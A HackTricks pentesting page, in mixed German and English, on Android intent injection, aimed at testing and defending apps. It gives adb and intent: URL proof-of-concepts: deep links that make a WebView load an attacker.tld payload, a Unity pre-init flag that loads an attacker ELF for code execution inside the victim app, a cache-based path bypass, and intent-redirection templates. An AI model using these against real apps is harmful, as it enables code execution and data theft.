Intent Injection

Reading time: 12 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Intent injection missbraucht Komponenten, die vom Angreifer kontrollierte Intents oder Daten akzeptieren, die später in Intents umgewandelt werden. Zwei sehr häufige Muster während Android app pentests sind:

  • Weitergabe manipulierten extras an exported Activities/Services/BroadcastReceivers, die später an privilegierte, nicht-exportierte Komponenten weitergeleitet werden.
  • Auslösen exportierter VIEW/BROWSABLE deep links, die vom Angreifer kontrollierte URLs in interne WebViews oder andere sensible Sinks weiterleiten.

If an app exposes a custom scheme deep link such as:

text
myscheme://com.example.app/web?url=<attacker_url>

Wenn die empfangende Activity den url-Query-Parameter an eine WebView weiterleitet, können Sie die App zwingen, beliebige entfernte Inhalte im eigenen WebView-Kontext darzustellen.

PoC via adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Auswirkung

  • HTML/JS wird im WebView‑Profil der App ausgeführt.
  • Wenn JavaScript aktiviert ist (standardmäßig oder aufgrund falsch gereihter Prüfungen), kannst du alle exponierten @JavascriptInterface-Objekte aufzählen/verwenden, WebView‑Cookies/local storage stehlen und pivoten.

Siehe auch:

Webview Attacks

Order-of-checks bug enabling JavaScript

Ein wiederkehrender Fehler ist, JavaScript (oder andere zu großzügige WebView‑Einstellungen) zu aktivieren, bevor die finale URL‑Allowlist/Verifikation abgeschlossen ist. Wenn frühe Helfer deinen deep link akzeptieren und das WebView zuerst konfiguriert wird, erfolgt der finale Load mit bereits aktiviertem JavaScript, selbst wenn spätere Prüfungen fehlerhaft oder zu spät sind.

Worauf man in dekompiliertem Code achten sollte:

  • Mehrere Hilfsfunktionen, die die URL unterschiedlich parsen/splitten/wiederaufbauen (inkonsistente Normalisierung).
  • Aufrufe von getSettings().setJavaScriptEnabled(true) vor der letzten Host/Path‑Allowlist‑Prüfung.
  • Eine Pipeline wie: parse → partial validate → configure WebView → final verify → loadUrl.

Gegenmaßnahmen

  • Einmal kanonisieren und strikt validieren; bei Fehlern geschlossen bleiben (fail closed).
  • JavaScript nur aktivieren, nachdem alle Prüfungen bestanden sind und unmittelbar vor dem Laden vertrauenswürdiger Inhalte.
  • Vermeide es, Bridges für nicht vertrauenswürdige Ursprünge freizugeben.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity‑basierte Android‑Apps verwenden typischerweise com.unity3d.player.UnityPlayerActivity (oder UnityPlayerGameActivity) als Entry Activity. Das Android‑Template von Unity behandelt ein spezielles Intent‑Extra mit dem Namen unity als String von command‑line flags für die Unity‑Runtime. Wenn die Entry Activity exported ist (Standard in vielen Templates), kann jede lokale App – und manchmal eine Website, falls BROWSABLE gesetzt ist – dieses Extra liefern.

Ein gefährlicher, undokumentierter Flag führt sehr früh in der Prozessinitialisierung zur Ausführung nativen Codes:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) sehr früh in init, lädt einen vom Angreifer kontrollierten ELF innerhalb des Ziel‑App‑Prozesses mit dessen UID und Berechtigungen.

Reverse‑engineering‑Auszug (vereinfacht):

c
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Warum es funktioniert

  • The Intent extra unity is parsed into Unity runtime flags.
  • Supplying the pre-init flag points Unity at an attacker-controlled ELF path within an allowed linker namespace path (see constraints below).

Bedingungen für die Ausnutzung

  • Die Unity entry Activity ist exported (commonly true by default).
  • Für one-click remote via browser: die entry Activity deklariert außerdem android.intent.category.BROWSABLE, sodass extras von einer intent: URL übergeben werden können.

Lokale Ausnutzung (gleiches Gerät)

  1. Platziere eine payload ELF an einem von der victim app lesbaren Pfad. Am einfachsten: ship eine malicious library in deiner eigenen attacker app und stelle sicher, dass sie unter /data/app/.../lib/<abi>/ extrahiert wird, indem du im attacker’s manifest:
xml
<application android:extractNativeLibs="true" ...>
  1. Starte die Unity-Activity des Opfers mit dem CLI pre-init-Flag im unity extra. Beispiel ADB PoC:
bash
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); Ihr Payload läuft im Prozess des Opfers und erbt alle App-Berechtigungen (camera/mic/network/storage, etc.) sowie den Zugriff auf In-App-Sitzungen/Daten.

Notes

  • Der genaue Pfad /data/app/... variiert je nach Gerät/Installation. Eine Angreifer-App kann ihr eigenes native lib-Verzeichnis zur Laufzeit über getApplicationInfo().nativeLibraryDir ermitteln und an den Trigger kommunizieren.
  • Die Datei muss nicht mit .so enden, sofern sie ein gültiges ELF ist – dlopen() schaut auf die ELF-Header, nicht auf die Dateiendung.

Remote one‑click via browser (conditional) If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:

text
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Auf modernen Android-Versionen verhindern die dynamischen Linker-Namespaces und SELinux das Laden aus vielen öffentlichen Pfaden (z. B. /sdcard/Download). Sie werden Fehler wie die folgenden sehen:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include /data and the app’s private dir, pointing -xrsdk-pre-init-library at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution. This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.

Other classic Intent injection primitives

  • startActivity/sendBroadcast using attacker-supplied Intent extras that are later re-parsed (Intent.parseUri(...)) and executed.
  • Exportierte Proxy-Komponenten, die Intents an nicht-exportierte, sensible Komponenten ohne Berechtigungsprüfungen weiterleiten.

Automating exported-component testing (Smali-driven ADB generation)

Wenn exportierte Komponenten bestimmte Extras erwarten, führt das Raten der Payload-Struktur zu Zeitverschwendung und falschen Negativ-Ergebnissen. Du kannst die Erkennung von Keys/Typen direkt aus Smali automatisieren und ausführbare adb-Kommandos erzeugen.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: dekompiliere und scanne Smali nach Aufrufen wie getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() um abzuleiten, welche Extras und Felder von jeder Komponente verwendet werden.
  • Output: Für jede exportierte Activity/Service/Receiver/Provider gibt das Tool eine kurze Erklärung und den genauen adb shell am .../cmd content ... Befehl mit korrekt typisierten Flags aus.

Installation

bash
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Verwendung

bash
python apk-components-inspector.py target.apk

Beispielausgabe

bash
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras Spickzettel (type-aware flags)

  • Strings: --es key value | String array: --esa key v1,v2
  • Integers: --ei key 123 | Int array: --eia key 1,2,3
  • Booleans: --ez key true|false
  • Longs: --el key 1234567890
  • Floats: --ef key 1.23
  • URIs (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • Common flags: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro-Tipps für Provider

  • Verwende adb shell cmd content query|insert|update|delete ..., um ContentProviders ohne agents anzusprechen.
  • Bei SQLi-Probing variiere --projection und --where (aka selection), wenn der zugrundeliegende Provider SQLite-backed ist.

Full-Pipeline-Automatisierung (interactive executor)

bash
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py

Hilfsskript (fügt umgebrochene Zeilen zusammen, führt nur Zeilen aus, die mit adb beginnen):

python
import subprocess

def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")

Run on-device: der Inspector ist Python-basiert und funktioniert in Termux oder auf gerooteten Geräten, auf denen apktool/androguard verfügbar sind.


Intent Redirection (CWE-926) – finding and exploiting

Pattern

  • Ein exportierter Einstiegspunkt (Activity/Service/Receiver) liest ein eingehendes Intent und leitet es intern oder extern weiter, ohne Quelle/Daten zu validieren, z. B.:
  • startActivity(getIntent())
  • startActivity(intent) wobei intent aus einem Extra wie redirect_intent/next_intent/pending_intent oder Intent.parseUri(...) stammt.
  • Vertrauen auf action/data/component-Felder ohne Prüfungen; Überprüfung der Identität des Aufrufers fehlt.

What to search in Smali/Java

  • Verwendung von getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...).
  • Direktes startActivity(...), startService(...), sendBroadcast(...) auf von Angreifern beeinflusste Intents.
  • Fehlende Überprüfungen von getCallingPackage()/getCallingActivity() oder eigene Permission-Gates fehlen.

ADB PoC templates

  • Proxy Activity, die ein zusätzliches Intent an eine privilegierte interne Activity weiterleitet:
bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Exportierter Service, der ein redirect_intent parcelable akzeptiert:
bash
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver, der ohne Validierung weiterleitet:
bash
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Hilfreiche Flags für singleTask-ähnliches Verhalten

bash
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Echte Beispiele (Auswirkungen variieren):

  • CVE-2024-26131 (Element Android): exportierte Flows, die zu WebView manipulation, PIN bypass, login hijack führen.
  • CVE-2023-44121 (LG ThinQ Service): exportierte Receiver-Action com.lge.lms.things.notification.ACTION → Effekte auf Systemebene.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): Umleitung → beliebiger Dateizugriff (mit Benutzerinteraktion).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implizite Intents leak Inhalte.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Gegenmaßnahmen (Entwickler-Checkliste)

  • Eingehende Intents nicht direkt weiterleiten; sie bereinigen und erlaubte Felder neu zusammenstellen.
  • Zugriffsfläche einschränken mit android:exported="false" sofern nicht notwendig. Exportierte Komponenten mit Berechtigungen und Signaturen schützen.
  • Identität des Aufrufers (getCallingPackage()/getCallingActivity()) prüfen und explizite Intents für Intra-App-Navigation durchsetzen.
  • Sowohl action als auch data (scheme/host/path) vor der Nutzung validieren; Intent.parseUri bei nicht vertrauenswürdigen Eingaben vermeiden.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks